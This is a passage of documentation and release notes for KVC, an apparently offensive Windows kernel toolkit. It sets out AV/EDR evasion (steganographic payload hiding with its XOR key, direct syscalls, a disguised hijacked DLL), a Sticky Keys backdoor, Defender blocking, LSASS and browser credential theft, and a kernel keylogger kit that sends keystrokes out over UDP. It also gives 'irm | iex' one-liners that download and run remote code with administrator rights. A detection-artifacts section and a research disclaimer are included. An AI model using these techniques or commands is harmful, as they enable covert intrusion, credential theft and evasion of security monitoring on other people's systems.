      * Files are saved to the specified output directory or a timestamped folder in `Downloads` .
3.  **Restore (`kvc registry restore <path>`):**
      * **Validation:** KVC first checks if all expected hive files exist in the specified source directory .
      * **User Confirmation:** Prompts the user to confirm the destructive restore operation and subsequent reboot.
      * **Applying Restore:**
          * KVC enables `SeRestorePrivilege` and `SeBackupPrivilege` .
          * It iterates through the restorable hives (`BCD` is typically skipped ).
          * For each hive, it opens the target registry key (e.g., `HKLM\SYSTEM`) with write access.
          * It attempts a "live" restore using `RegRestoreKeyW` with the `REG_FORCE_RESTORE` flag. This attempts to replace the in-memory hive immediately.
          * **If live restore fails** (often due to the hive being actively used), KVC identifies the physical hive file on disk (e.g., `C:\Windows\System32\config\SYSTEM`)  and uses the `MoveFileExW` API with the `MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING` flags. This schedules the operating system to replace the hive file with the backup file during the *next* system startup, before the hive is loaded.
      * **Forced Reboot:** After attempting to restore all hives (either live or scheduled), KVC initiates an immediate system reboot using `InitiateSystemShutdownExW` to apply the changes .
4.  **Defragment (`kvc registry defrag [path]`):**
      * Performs a full registry backup (as described above) to a temporary or specified path . The use of `RegSaveKeyExW` with `REG_LATEST_FORMAT` inherently creates compacted (defragmented) hive files.
      * Prompts the user to confirm if they want to immediately restore these newly created, compacted hives.
      * If confirmed, it proceeds with the restore process (including the forced reboot) using the temporary backup path as the source.

### Registry Management Commands

  * **Backup Registry:**

    ```powershell
    kvc.exe registry backup [output_path]
    ```

    Backs up critical system and current user registry hives .

      * `[output_path]`: Optional directory to save the hive files. Defaults to `Downloads\Registry_Backup_<timestamp>`.

  * **Restore Registry:**

    ```powershell
    kvc.exe registry restore <source_path>
    ```

    Restores registry hives from a previous backup located in `<source_path>`. **Requires user confirmation and forces an immediate system reboot** . Use with extreme caution.

  * **Defragment Registry:**

    ```powershell
    kvc.exe registry defrag [temp_backup_path]
    ```

    Performs a backup using compaction (`RegSaveKeyExW`) to `<temp_backup_path>` (defaults to a temporary folder) . Then prompts the user to optionally restore these compacted hives, which requires a reboot .

**Warning:** Registry restore operations are inherently risky and can render a system unbootable if the backup is corrupted or incompatible. Always ensure you have a reliable system backup before attempting a restore.

-----

## 18\. KVC Service Management

KVC can be installed as a persistent Windows service (`KernelVulnerabilityControl`) that starts automatically with the system. While the core functionalities like DSE control, dumping, and protection manipulation rely on *temporary* driver loading via atomic operations, the service mode provides a persistent background presence, potentially for future features or scenarios requiring continuous operation (though current implementation primarily uses it for optional background hooks like the unimplemented 5x LCtrl).

### Service Features

  * **Installation:** Installs as a standard Win32 service running under the `LocalSystem` account.
  * **Auto-Start:** Configured to start automatically when Windows boots.
  * **Self-Protection:** Attempts to protect itself with `PP-WinTcb` upon starting .
  * **Resource Initialization:** When the service starts, it initializes the `Controller` and other core components.
  * **Lifecycle Management:** Can be started, stopped, and restarted using standard service control commands or KVC's own commands.

### How Service Mode Works

  * **Installation (`kvc install`):** Uses the Windows Service Control Manager (SCM) API (`OpenSCManager`, `CreateService`) to register `kvc.exe` as a service. The executable path is configured with the `--service` command-line argument, telling `kvc.exe` to run in service mode when launched by the SCM.
  * **Service Execution (`kvc.exe --service`):**
      * When launched by the SCM, `kvc.exe` detects the `--service` argument.
      * It calls `StartServiceCtrlDispatcher` to connect to the SCM.
      * The `ServiceMain` function is called by the SCM. It registers the `ServiceCtrlHandler` callback, initializes status, creates a stop event, initializes the `Controller`, starts a background worker thread, and sets the status to `SERVICE_RUNNING`.
      * The `ServiceWorkerThread` runs in a loop, waiting for the stop event or performing periodic heartbeat tasks.
      * The `ServiceCtrlHandler` responds to SCM commands like `SERVICE_CONTROL_STOP` by setting the stop event and updating the service status.
  * **Uninstallation (`kvc uninstall`):** Stops the service if running (`ControlService(SERVICE_CONTROL_STOP)`) and then removes it using `DeleteService` .

### Service Management Commands

  * **Install Service:**

    ```powershell
    kvc.exe install
    ```

    Registers KVC as an auto-start Windows service running as LocalSystem. Attempts to start the service immediately after installation.

  * **Uninstall Service:**

    ```powershell
    kvc.exe uninstall
    ```

    Stops the service (if running) and removes it from the system . Also cleans up related KVC configuration registry keys under `HKCU\Software\kvc` .

  * **Start Service:**

    ```powershell
    kvc.exe service start
    ```

    Starts the installed KVC service.

  * **Stop Service:**

    ```powershell
    kvc.exe service stop
    ```

    Stops the running KVC service.

  * **Restart Service:**

    ```powershell
    kvc.exe service restart
    ```

    Stops and then restarts the KVC service .

  * **Check Service Status:**

    ```powershell
    kvc.exe service status
    ```

    Queries the SCM and reports whether the KVC service is installed and its current state (Running, Stopped) .

**Note:** Most core KVC features (dumping, protection manipulation, DSE control) use temporary, on-demand driver loading ("atomic operations") and do *not* require the persistent service to be installed or running. The service mode is primarily for scenarios requiring a continuous background presence.

-----

## 19\. Evasion Techniques

KVC incorporates several techniques designed to minimize its footprint and evade detection by security software (EDR, AV).

### Steganographic Driver & DLL Hiding

Instead of shipping separate `.sys`, `.exe` and `.dll` files, KVC embeds its kernel drivers, the SMSS loader and the modified watermark DLL within its own executable's resources using a multi-stage steganographic process:

```mermaid
graph TD
    subgraph BuildProc["Build Process (implementer.exe + kvc.ini)"]
        A[kvc.sys] --> B[Combine];
        A2[kvckiller.sys] --> B;
        A3[kvcblocker.sys] --> B;
        A4[kvcstrm.sys] --> B;
        A5[kvc_smss.exe] --> B;
        C[ExplorerFrame​.dll] --> B;
        B --> D[Create kvc.evtx Container];
        D --> E[Compress into CAB Archive];
        E --> F[XOR Encrypt CAB — key A0 E2 80 8B E2 80 8C];
        F --> G[Prepend kvc.ico Header];
        G --> H[Embed as RCDATA IDR_MAINICON in kvc.exe];
    end
    subgraph RuntimeExt["Runtime Extraction"]
        I[Load IDR_MAINICON Resource] --> J[Skip kvc.ico Header 3774 bytes];
        J --> K[XOR Decrypt using Key];
        K --> L[Decompress CAB In-Memory FDI];
        L --> M[Result: kvc.evtx Container];
        M --> N{Split by MZ order};
        N -->|1st Native PE| O[kvc.sys];
        N -->|2nd Native PE| O2[kvckiller.sys];
        N -->|3rd Native PE| O3[kvcblocker.sys];
        N -->|4th Native PE| O4[kvcstrm.sys];
        N -->|5th Native PE| O5[kvc_smss.exe];
        N -->|6th PE - non-Native| P[ExplorerFrame​.dll];
    end
```

**Explanation:**

1. **Combination:** `implementer.exe` reads `kvc.ini` (which lists `DriverFile=kvc.sys`, `DriverFile=kvckiller.sys`, `DriverFile=kvcblocker.sys`, `DriverFile=kvcstrm.sys`, `ExeFile=kvc_smss.exe`, `DllFile=ExplorerFrame.dll`) and concatenates all six into a single binary blob labeled `kvc.evtx`. The `.evtx` extension mimics Windows Event Log files to deflect static analysis. All extraction and processing is performed entirely in memory.
2. **Compression:** The container is compressed into a Cabinet (`.cab`) archive.
3. **Encryption:** The CAB archive is XOR-encrypted with the repeating 7-byte key `{ 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }`.
4. **Steganography:** The encrypted CAB data is prepended with the binary content of `kvc.ico` (3774 bytes).
5. **Embedding:** The combined blob (icon header + encrypted CAB) is embedded as `RT_RCDATA` resource `IDR_MAINICON` (102) in `kvc.exe`.
6. **Extraction:** At runtime, KVC skips the 3774-byte icon header, XOR-decrypts, decompresses with FDI, and splits the container back into the original files by positional MZ order: [0] `kvc.sys`, [1] `kvckiller.sys`, [2] `kvcblocker.sys`, [3] `kvcstrm.sys`, [4] `kvc_smss.exe`, [5] `ExplorerFrame​.dll`. A post-split subsystem sanity check (`IMAGE_SUBSYSTEM_NATIVE` for the `.sys`/`.exe` entries, non-Native for the DLL) validates payload order. All four `.sys` drivers are deployed to DriverStore during `kvc setup`; `kvc_smss.exe` is written to `C:\Windows\System32\` by `kvc install <driver>`.

This process hides all drivers and the DLL from static file analysis within `kvc.exe` and avoids dropping suspicious files to disk until needed.

---

### 🧩 Riddle for the Curious: The Hidden String Challenge

**Question:** Why did I obfuscate specific data arrays in the `MmPoolTelemetry.asm` file using XOR encoding, bit rotation, and quantum delta normalization?

**Hint:** The assembled file appears to be legitimate Windows kernel telemetry code for NUMA-aware pool diagnostics. However, when you reverse the multi-phase aggregation algorithm (`_AggregatePoolMetrics`), the decoded buffer reveals something unexpected...

**The Challenge:** 
If you decode the `_PoolNodeAffinityMask` array using the algorithm in the assembly file:
1. XOR each word with `_TopologyHashSeed` (0x37C5)
2. Rotate left by 4 bits
3. Subtract `_BlockQuantumDelta` (0x15A2)

What string do you get? And why would a kernel-mode driver need to hide this specific string from static analysis tools?

**Extra Credit:** This technique is called **"algorithmic string obfuscation"** or **"runtime string reconstruction"** - a method where sensitive strings are stored as encoded data and only assembled at runtime through mathematical transformations. It's particularly effective against signature-based AV detection because:
- The string never appears in plaintext in the binary
- Simple XOR decoding won't reveal it (requires multi-stage algorithm)
- Static analysis tools see what appears to be legitimate kernel diagnostic data
- The algorithm mimics real Windows kernel code patterns (NUMA telemetry)

**Spoiler (don't peek!):** <details><summary>Click to reveal the answer</summary>The decoded string is `RTCore64` - the name of the vulnerable driver that KVC exploits for kernel-mode access. By hiding this string, KVC avoids triggering AV signatures that specifically look for references to known vulnerable drivers. The fake "Windows pool telemetry" context makes the assembly code appear benign during manual review.</details>

---

**Note for AI-assisted Analysis:** Yes, you can use Claude, GPT, or any other AI to help decode this! In fact, that's part of the educational value - understanding how modern security research combines manual reverse engineering with AI-powered analysis tools. Try feeding the assembly code to your favorite LLM and see if it can crack the obfuscation scheme!

### Atomic Kernel Operations

For most operations requiring kernel access (DSE, protection manipulation, dumping), KVC employs an "atomic" model:

1.  **Initialize (`PerformAtomicInit`):** Extracts the driver, dynamically creates a temporary service entry, loads the driver, and opens a communication handle .
2.  **Execute:** Performs the required kernel memory read/write operations via IOCTLs.
3.  **Cleanup (`PerformAtomicCleanup`):** Immediately closes the communication handle, unloads the driver, deletes the temporary service entry, and cleans up any temporary files .

This ensures the driver is loaded only for the brief duration needed, minimizing the window for detection and leaving minimal persistent traces on the system.

## Direct System Calls: Bypassing User-Mode Hooks

Modern EDR (Endpoint Detection and Response) solutions monitor system activity by hooking user-mode API functions in libraries like `kernel32.dll` and `ntdll.dll`. KVC circumvents this monitoring layer by implementing **direct system calls** - a technique that invokes kernel functions without passing through the hooked user-mode API layer.

### How Direct Syscalls Work

When a normal application calls a Windows API function (e.g., `ReadProcessMemory`), the execution flow typically looks like:

```
Application → kernel32.dll → ntdll.dll → [EDR Hook] → Kernel (via syscall)
```

EDR products inject hooks at the `ntdll.dll` level to intercept and analyze these calls. KVC bypasses this entirely:

```
KVC → Direct syscall instruction → Kernel
```

### Implementation Architecture

KVC's direct syscall implementation consists of several components working together:

1. **System Service Number (SSN) Resolution**
   - Each kernel function has a unique identifier called a System Service Number
   - KVC dynamically resolves SSNs for required functions (e.g., `NtReadVirtualMemory`, `NtWriteVirtualMemory`)
   - SSNs can vary between Windows versions, requiring runtime detection

2. **ABI Translation Layer**
   - The Windows x64 kernel uses a different calling convention than standard user-mode code
   - User-mode functions use the Microsoft x64 calling convention (first arg in RCX)
   - Kernel syscalls expect the first argument in R10 instead of RCX
   - A specialized assembly trampoline handles this argument marshaling

3. **Syscall Execution**
   - The trampoline prepares the CPU registers according to kernel expectations
   - Loads the SSN into the RAX register
   - Executes the `syscall` instruction to transition to kernel mode
   - The kernel dispatcher uses the SSN to invoke the correct kernel function
   - Returns the NTSTATUS result directly to KVC

### Technical Details

The assembly trampoline (`AbiTramp.asm`) performs critical tasks:

- **Register Marshaling**: Moves arguments from user-mode positions (RCX, RDX, R8, R9) to syscall positions (R10, RDX, R8, R9)
- **Stack Argument Handling**: Copies additional parameters from the caller's stack to the syscall stack frame
- **Shadow Space Management**: Allocates proper stack space for both Windows calling convention requirements and syscall parameters
- **Position Independence**: Uses indirect calls through register to support ASLR (Address Space Layout Randomization)

### Evasion Benefits

This technique provides several advantages against security monitoring:

- **Hook Bypass**: Completely avoids user-mode API hooks placed by EDR solutions
- **Signature Evasion**: Direct syscalls don't match typical API call patterns that security tools monitor
- **Behavioral Hiding**: Operations appear directly from the application without the usual call chain through system DLLs
- **Minimal Footprint**: No need to load or interact with potentially monitored system libraries

### Detection Challenges

While sophisticated kernel-mode monitoring can still detect direct syscalls, it requires:
- Kernel-mode drivers to monitor syscall execution
- More complex analysis of syscall patterns
- Higher performance overhead for the security solution
- Deeper system integration than typical user-mode EDR agents

This makes direct syscalls an effective technique for security research tools that need to operate with minimal interference from defensive software.

### Other Minor Techniques

  * **Zero Width Space:** Using `ExplorerFrame<U+200B>.dll` instead of `ExplorerFrame_modified.dll` makes the hijacked DLL appear almost identical to the original in file listings.
  * **TrustedInstaller Context:** Performing sensitive file and registry operations under the TrustedInstaller context bypasses standard ACLs and potential monitoring focused on Administrator actions.
  * **Dynamic API Loading:** Loading functions like `CreateServiceW`, `DeleteService` dynamically via `LoadLibrary`/`GetProcAddress` might slightly hinder static analysis compared to direct imports .

-----

## 20\. Security Considerations and Detection

While KVC employs evasion techniques, its operations can still leave forensic artifacts detectable by vigilant security monitoring.

### Potential Artifacts

  * **Event Logs (System Log):**
      * **Event ID 7045:** Service installation (Source: Service Control Manager) - generated when KVC temporarily installs its driver service or permanently installs the background service (`kvc install`). The service name `KernelVulnerabilityControl` might be present.
      * **Event ID 7036:** Service start/stop (Source: Service Control Manager) - generated during atomic operations (driver load/unload) and service lifecycle management (`kvc service start/stop`).
      * **Event ID 7034:** Service termination unexpected (Source: Service Control Manager) - might occur if cleanup fails or is interrupted.
      * **Event ID 12, 13 (Kernel-General):** Potential indicators of system time changes if `SeSystemtimePrivilege` is used (though not explicitly seen in analyzed code).
  * **Event Logs (Security Log - Requires Auditing):**
      * **Event ID 4688:** Process Creation - logs execution of `kvc.exe`, `kvc_pass.exe`, `cmd.exe` (via Sticky Keys or `kvc trusted`). Look for processes launched with elevated privileges or unusual parent processes. Defender exclusion changes no longer spawn `powershell.exe` — they go through WMI, visible as WMI activity on `ROOT\\Microsoft\\Windows\\Defender`.
      * **Event ID 4657:** Registry value modification - logs changes made by `kvc shift`, `kvc watermark remove/restore`, `kvc secengine disable/enable`. Look for modifications under `HKLM\SOFTWARE\...\Image File Execution Options\MsMpEng.exe` (IFEO block) or CLSID keys.
      * **Event ID 4673:** Privileged service called - logs usage of sensitive privileges like `SeDebugPrivilege`.
      * **Event ID 4624:** Logon - shows logons associated with Sticky Keys backdoor (`SYSTEM` logon from `winlogon.exe` context).
  * **File System Artifacts:**
      * **`kvc.exe`, `kvc_pass.exe`:** The executables themselves.
      * **Temporary Driver:** `kvc.sys` is briefly present in `C:\Windows\System32\DriverStore\FileRepository\avc.inf_amd64_XXXXXXXXXXXX\` during atomic operations. This location is dynamically resolved at runtime by querying the actual subdirectory name (e.g., `avc.inf_amd64_12ca23d60da30d59`), which varies per system. Importantly, this directory is protected by ACLs that grant write access only to **TrustedInstaller**, not to standard administrators - KVC must elevate to TI privileges before placing the driver here.
      * **Hijacked DLL:** `ExplorerFrame<U+200B>.dll` in `C:\Windows\System32` when watermark removal is active.
      * **Memory Dumps:** `.dmp` files created by `kvc dump` in the specified or default (`Downloads`) location.
      * **Credential Reports:** `.html`, `.txt`, `.json` files generated by `kvc export secrets` or `kvc bp` in the specified or default (`Downloads`) location.
      * **Registry Backups:** Hive files (`SYSTEM`, `SOFTWARE`, etc.) created by `kvc registry backup` or `kvc registry defrag`.
  * **Registry Artifacts:**
      * **Temporary Service:** `HKLM\SYSTEM\CurrentControlSet\Services\KernelVulnerabilityControl` (present only during atomic kernel operations).
      * **Permanent Service:** Same path as above, but persistent if `kvc install` was used.
      * **Session Management:** `HKCU\Software\kvc\Sessions\<BootID>\...` storing unprotected process states.
      * **Sticky Keys IFEO:** `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe` with `Debugger` value set to `cmd.exe`.
      * **Watermark Hijack:** `HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32` default value pointing to `ExplorerFrame<U+200B>.dll`.
      * **Defender Exclusions:** Stored under `HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions`.
      * **Defender Engine State:** `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe` with `Debugger = systray.exe` when blocked via KVC.
  * **Memory Artifacts:**
      * **Loaded Driver:** `kvc.sys` present in kernel memory during operations.
      * **Modified EPROCESS:** `Protection` field altered for target processes.
      * **Modified `g_CiOptions`:** Value set to `0x0` in kernel memory when DSE is disabled.

### Basic Detection Strategies

  * **Monitor Service Creation/Deletion:** Look for rapid creation and deletion of services named `KernelVulnerabilityControl`. Monitor Event ID 7045.
  * **Monitor Registry Keys:** Use tools like Sysmon to monitor changes to IFEO keys (`sethc.exe`), critical CLSID `InProcServer32` keys, Defender exclusions, and the `WinDefend` service configuration.
  * **Monitor Process Execution:** Audit creation of `cmd.exe` from unusual parent processes (especially `winlogon.exe` or `services.exe` context related to Sticky Keys). Note: Defender exclusion management no longer produces `powershell.exe` process creation events — monitor WMI activity against `ROOT\\Microsoft\\Windows\\Defender\\MSFT_MpPreference` instead.
  * **File System Monitoring:** Monitor creation/deletion of `kvc.sys` in driver directories or `ExplorerFrame<U+200B>.dll` in System32. Scan for suspicious `.dmp` files.
  * **Kernel Memory Integrity:** Advanced tools can potentially detect modifications to `EPROCESS.Protection` or `g_CiOptions` by comparing runtime values against known good states (PatchGuard might also detect this).
  * **Signature-Based Detection:** AV/EDR may eventually develop signatures for `kvc.exe`, `kvc_pass.exe`, the embedded driver, or the modified DLL.

-----

## 21\. Easter Egg: Tetris

KVC ships with a fully functional Tetris game written in x64 assembly (`addons/game.asm`, `render.asm`, `main.asm`, `registry.asm`).

```powershell
kvc.exe tetris
```

**Controls:**

| Key | Action |
|---|---|
| ← → ↓ | Move piece |
| ↑ | Rotate |
| Space | Hard drop |
| P | Pause / Resume |
| F2 | New game |
| ESC | Exit |

The game opens a dedicated Win32 graphical window (480×570 px, `TetrisWindowClass`, title *"Tetris x64"*) with full GDI rendering, 7-bag randomizer for fair piece distribution, line-clear animation (300 ms fade), and high score persistence to registry (`HKCU\Software\Tetris`).

**The detail nobody asked for:** before the game window opens, `kvc.exe` loads its kernel driver and applies `PPL-WinTcb` self-protection to its own process — the same protection level as `lsass.exe`. So while you're playing Tetris, the process is technically harder to kill than most antivirus software. Task Manager will silently fail. `taskkill /F` returns Access Denied. Use ESC like a normal person. Protection is removed automatically when the game exits.

-----

## 21a\. Folder and Partition Protection (`kvc lock`)

`kvc lock` is a CLI + Win32 GUI interface for controlling which folders, files, or partition roots the kernel FSFilter driver (`kvcblocker.sys`) blocks. Bare `kvc lock` shows help; `lock --gui` / `lock --tray` opens the GUI.

The driver (`kvcblocker.sys`) is a signed FSFilter Content Screener minifilter (service `clrcd`, altitude 389991) — loads on Windows 11 26H1 via legacy cross-signed driver compatibility, no test-signing, no patches. The IOCTL surface, flag bitmasks, registry layout, and device path were fully reconstructed from the original *Secure Folders* binary via IDA and WinDbg kernel tracing. Deploys from an embedded resource on first `kvc lock` command; subsequent runs open the existing device directly.

### Protection Flags

| Flag | CLI mode | Kernel behavior |
|------|----------|-----------------|
| Hidden | `Hidden` | `STATUS_OBJECT_NAME_NOT_FOUND` + removed from directory enumeration |
| Locked | `Locked` | All access → `STATUS_ACCESS_DENIED` |
| Read-only | `ReadOnly` | Strips `FILE_WRITE_DATA` + `DELETE` from `DesiredAccess` |
| No execute | `NoExec` | Strips execute bits from `DesiredAccess` |
| All | `All` | Hidden + Locked + ReadOnly + NoExec combined |

The GUI stores the flags as a bitmask and can combine them on one path. The CLI accepts one mode per `add` call, or `All` for the full `Hidden | Locked | ReadOnly | NoExec` mask. Trusted processes bypass all flags for their named executable.

### CLI

```powershell
kvc lock                              # show help
kvc lock --gui                        # launch GUI
kvc lock --tray                       # launch GUI minimized to system tray
kvc lock on                           # enable protection globally
kvc lock off                          # disable protection globally
kvc lock add "C:\Private" Locked      # protect a path
kvc lock add "D:\" Hidden             # hide entire partition root
kvc lock remove "C:\Private"          # remove path from protection
kvc lock list                         # list protected paths and trusted apps
kvc lock status                       # driver status, path count, trusted count
kvc lock allow totalcmd64.exe         # add trusted process (bypasses all flags)
kvc lock unallow totalcmd64.exe       # remove trusted process
kvc lock clear                        # remove all protected paths and trusted entries
```

### GUI

Fixed 680 × 472 px window. Spawned as a detached child process — parent terminal stays interactive, `Ctrl+C` does not close the GUI. Dark mode + Mica backdrop, `WM_SETTINGCHANGE` tracking.

| Interaction | Behavior |
|-------------|----------|
| Drag folder/file from Explorer | Staged in the protected paths list; click a flag column to persist it |
| Drag `.lnk` shortcut | Resolved to real target via COM `IShellLink` |
| Drag `.exe` onto Trusted panel | Executable name extracted, added as trusted process |
| Click flag column (H/L/R/X) | Flag toggled + IOCTL to driver in the same call |
| `Ctrl+Click` multiple rows → **Remove selected** | Removes all selected entries in one pass |
| **`Shift+Minimize`** | Window hides to system tray |
| Double-click tray icon | Window restored |
| Right-click tray icon | Context menu: Restore / Exit |

Title bar shows live driver + protection state — `VaultGuard | Driver: TRANSIENT | Protection: ON` — 2-second refresh.

### Implementation

10 pure MASM source files (`vg/*.asm`), zero CRT. Every non-leaf function maintains strict x64 ABI — `rsp % 16 == 0` before every `call`, 32-byte shadow space at every call site, callee-saved registers pushed/restored at every boundary. Stack alignment was verified by hand for each function; the assembler does not enforce it.

-----

## 22\. License and Disclaimer

### Educational Use License

The KVC Framework is provided under an educational use license. It is intended **strictly for authorized security research, penetration testing on systems you own or have explicit permission to test, and educational purposes** to understand Windows internals and security mechanisms.

### Disclaimer and User Responsibility

  * **No Warranty:** This software is provided "as is" without warranty of any kind.
  * **Risk:** Use of this software, particularly features involving kernel memory modification (DSE control, process protection) or registry manipulation (service control, backdoors, Defender management, registry restore), carries inherent risks, including potential system instability, data loss, or rendering the system unbootable. **USE ENTIRELY AT YOUR OWN RISK.**
  * **Legality:** Unauthorized use of this software to access, modify, or disrupt computer systems is illegal in most jurisdictions. Users are solely responsible for ensuring their actions comply with all applicable local, state, federal, and international laws, as well as any relevant corporate policies or terms of service.
  * **Misuse:** The author (Marek Wesołowski / WESMAR) disclaims any liability for misuse of this software or any damages resulting from its use or misuse. By using KVC, you acknowledge these risks and agree to use the tool responsibly and ethically .

-----

## 23\. Support and Contact

### Technical Support and Inquiries

For technical questions, bug reports, feature requests, or collaboration inquiries related to the KVC Framework:

  * **Author:** Marek Wesołowski (WESMAR)
  * **Email:** [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org)
  * **Phone:** [+48 607-440-283](https://www.google.com/search?q=tel:%2B48607440283)
  * **Website:** [kvc.pl](https://kvc.pl)

### Professional Services

Marek Wesołowski offers professional consulting services in areas including:

  * Advanced Penetration Testing & Red Teaming
  * Windows Internals Analysis & Security Research
  * Custom Tool Development
  * Incident Response Support
  * Security Training Workshops
---

Contact via the details above for inquiries regarding professional engagements.

---

<div align="center">

## ✨ One-Command Installation

The fastest way to get KVC running on your system:

```powershell
irm https://github.com/wesmar/kvc/releases/download/latest/run | iex
```

**⚠️ Administrator privileges required!** Right-click PowerShell and select "Run as Administrator"

**Mirror installation:**
```powershell
irm https://kvc.pl/run | iex
```

</div>

---

<div align="center">

**KVC Framework**

*Advancing Windows Security Research Through Kernel-Level Capabilities*

🌐 [kvc.pl](https://kvc.pl) | 📧 [Contact](mailto:marek@wesolowski.eu.org) | ⭐ [Star on GitHub](https://github.com/wesmar/kvc/)

*Made with ❤️ for the security research community*

</div>

---

<<<FILE: release-now.md>>>
Created:  2026-05-28 00:19:25
Modified: 2026-05-28 00:43:17
Size:     14.59 KB
## 🔐 PASSWORD: `github.com`
### Extract downloaded release with password: `github.com`

---

## 📦 ARCHIVE CONTENTS (`kvc.7z` — ${SIZE_7Z})

```
kvc-latest/
│
├── kvc.exe              ⭐ Main KVC Framework executable (REQUIRED)  [${SIZE_EXE}]
├── kvc.dat              ⭐ Encrypted PassExtractor module (OPTIONAL)  [${SIZE_DAT}]
│                           Required for: Chrome, Edge, Brave — passwords + cookies
├── README.txt           📄 Installation guide
│
└── other-tools/         🔧 Development & Research Tools (OPTIONAL)
    │
    ├── encoding-tools/  📦 Framework Build Pipeline
    │   ├── implementer.exe  - Steganographic icon builder
    │   ├── KvcXor.exe       - Resource encoder/decoder
    │   ├── kvc.ini          - Icon builder configuration
    │   ├── kvc.sys          - Kernel driver (kvc)
    │   ├── kvcstrm.sys      - Kernel driver (OmniDriver) — PP/PPL process termination
    │   ├── kvckiller.sys    - Kill driver (digitally signed, PP/PPL bypass, no HVCI restart)
    │   ├── kvcblocker.sys  - FSFilter Content Screener (kvc lock — folder/partition protection)
    │   ├── ExplorerFrame​.dll - System DLL (with U+200B hijack char)
    │   ├── kvc_orig.ico     - Original icon template
    │   ├── kvc.ico          - Built steganographic icon
    │   ├── kvc_pass.exe     - Password extractor binary
    │   └── kvc_crypt.dll    - Encryption / injection library
    │
    ├── undervolter/     🔋 EFI Undervolting Module
    │   ├── UnderVolter.dat  - Encrypted EFI payload → deploy with: kvc undervolter deploy
    │   ├── Loader.efi       - UEFI loader (replaces BOOTX64.EFI in mode A)
    │   ├── UnderVolter.efi  - Main EFI application (voltage/power MSR writes)
    │   └── UnderVolter.ini  - Per-CPU profile (Intel 2nd–15th gen, auto-selected by CPUID)
    │
    └── keylogger-kit/   ⌨️ Kernel Keylogger Research Tools
        ├── UdpLogger.apk       - Android UDP receiver (1.47 MB)
        ├── kvckbd.sys          - Keyboard hook driver (14 KB)
        ├── kvckbd.bat          - Automated deployment script
        ├── kvckbd_split.c      - Driver source code (79 KB)
        ├── MainActivity.kt     - Android app source
        └── UdpLoggerService.kt - Android service source
```

---

## 🔗 DOWNLOAD LINKS

| File | Size | Description |
|------|------|-------------|
| [kvc.7z](https://github.com/${REPO}/releases/download/${TAG}/kvc.7z) | ${SIZE_7Z} | Main archive (password: `github.com`) |
| [kvc.enc](https://github.com/${REPO}/releases/download/${TAG}/kvc.enc) | ${SIZE_ENC} | Deployment package (used by `irm` installer) |
| [kvc.dat](https://github.com/${REPO}/releases/download/${TAG}/kvc.dat) | ${SIZE_DAT} | PassExtractor module — Chrome, Edge, Brave (`kvc setup` or auto-download) |
| [kvcforensic.dat](https://github.com/${REPO}/releases/download/${TAG}/kvcforensic.dat) | ${SIZE_FORENSIC} | Forensic module — LSASS minidump credential extraction (`kvc analyze`) |
| [UnderVolter.dat](https://github.com/${REPO}/releases/download/${TAG}/UnderVolter.dat) | ${SIZE_UNDERVOLTER} | EFI undervolting module (`kvc undervolter deploy`) |
| [run](https://github.com/${REPO}/releases/download/${TAG}/run) | — | PowerShell one-command installer |

---

## 🚀 QUICK INSTALLATION

### One-Line Remote Install:
```powershell
irm https://github.com/${REPO}/releases/download/${TAG}/run | iex
```
Downloads `kvc.exe` + `kvc.dat`, runs `kvc setup` automatically.

### Mirror:
```powershell
irm https://kvc.pl/run | iex
```

### Manual:
1. Download `kvc.7z`, extract with password `github.com`
2. Open elevated Command Prompt (Run as Administrator)
3. Run: `kvc setup`

---

## ✅ WHAT'S NEW — 27.05.2026

<details>
<summary><strong>[27.05.2026] kvc lock — VaultGuard GUI: folder/partition protection, system tray, pure x64 assembly</strong></summary>

`kvc lock` is the integrated folder and partition protection command. The kernel driver (`vg.sys`, FSFilter Content Screener, altitude 389991) enforces Hidden / Locked / Read-only / No-execute flags at the I/O manager level. Flags combine as a bitmask; protected paths include files, folders, or full partition roots (`C:\`, `D:\`).

The GUI spawns detached from the kvc.exe process — the terminal stays usable, Ctrl+C does not kill the window.

**Key features:**
- Drag & drop from Explorer — `.lnk` shortcuts resolved via COM `IShellLink`
- Flag columns toggle live: click → IOCTL to driver in the same call, no apply button
- Trusted processes list — bypasses all driver protections for named executables
- `Shift+Minimize` → system tray; golden padlock icon from `imageres.dll.mun` (ResourceID 1304)
- Dark mode + Mica backdrop, full `WM_SETTINGCHANGE` tracking
- Live driver/protection state in title bar, 2-second refresh

**CLI:**
```
kvc lock                              launch GUI
kvc lock --tray                       start to system tray
kvc lock on / off                     global protection toggle
kvc lock set "C:\Private" Locked      protect a path
kvc lock set "D:\" Hidden             hide entire partition
kvc lock list                         enumerate all protected paths
kvc lock trusted totalcmd64.exe on    add trusted process
```

**Implementation:** pure x64 MASM, 10 source files (~3500 lines). Every procedure maintains strict x64 ABI — `rsp % 16 == 0` before every `call`, 32-byte shadow space at every call site, callee-saved registers pushed/restored at every boundary.

</details>

<details>
<summary><strong>[12.04.2026] kvcforensic.dat — LSASS minidump credential extraction via KvcForensic</strong></summary>

New optional module distributed as a separate release asset. Embeds [`KvcForensic.exe`](https://github.com/wesmar/KvcForensic) + `KvcForensic.json` (per-build LSA offset templates), XOR-encrypted with the standard KVC key.

**Validated extraction targets:**

| Windows version | Build range | Status |
|---|---|---|
| Windows 11 26H1 | 28000+ | Full |
| Windows 11 25H2 | 26200–27999 | Full |
| Windows 11 24H2 / Server 2025 | 26100–26199 | Full |
| Windows 10 22H2 | 19045 | Legacy core decrypt |
| Win11 23H2–22H2, Win10 1809–22H2 | 17763–26099 | Legacy path, limited validation |
| Win10 1803 and earlier, 8.x, 7 | below 17763 | Template only / experimental |

Packages: MSV1_0 (NT/LM/SHA1), WDigest (cleartext), Kerberos (sessions + tickets), DPAPI (master keys), CredMan.
TSPKG and Kerberos ticket export (`.kirbi`/`.ccache`) are **in progress / experimental**.
Full supported-builds table and architecture: [github.com/wesmar/KvcForensic](https://github.com/wesmar/KvcForensic)

**Integration with kvc:**

- `kvc analyze <dump>` — run KvcForensic CLI; `--format txt|json|both`, `--full`, `--tickets <dir>`
- `kvc analyze lsass` — auto-locate LSASS dump in CWD then Downloads
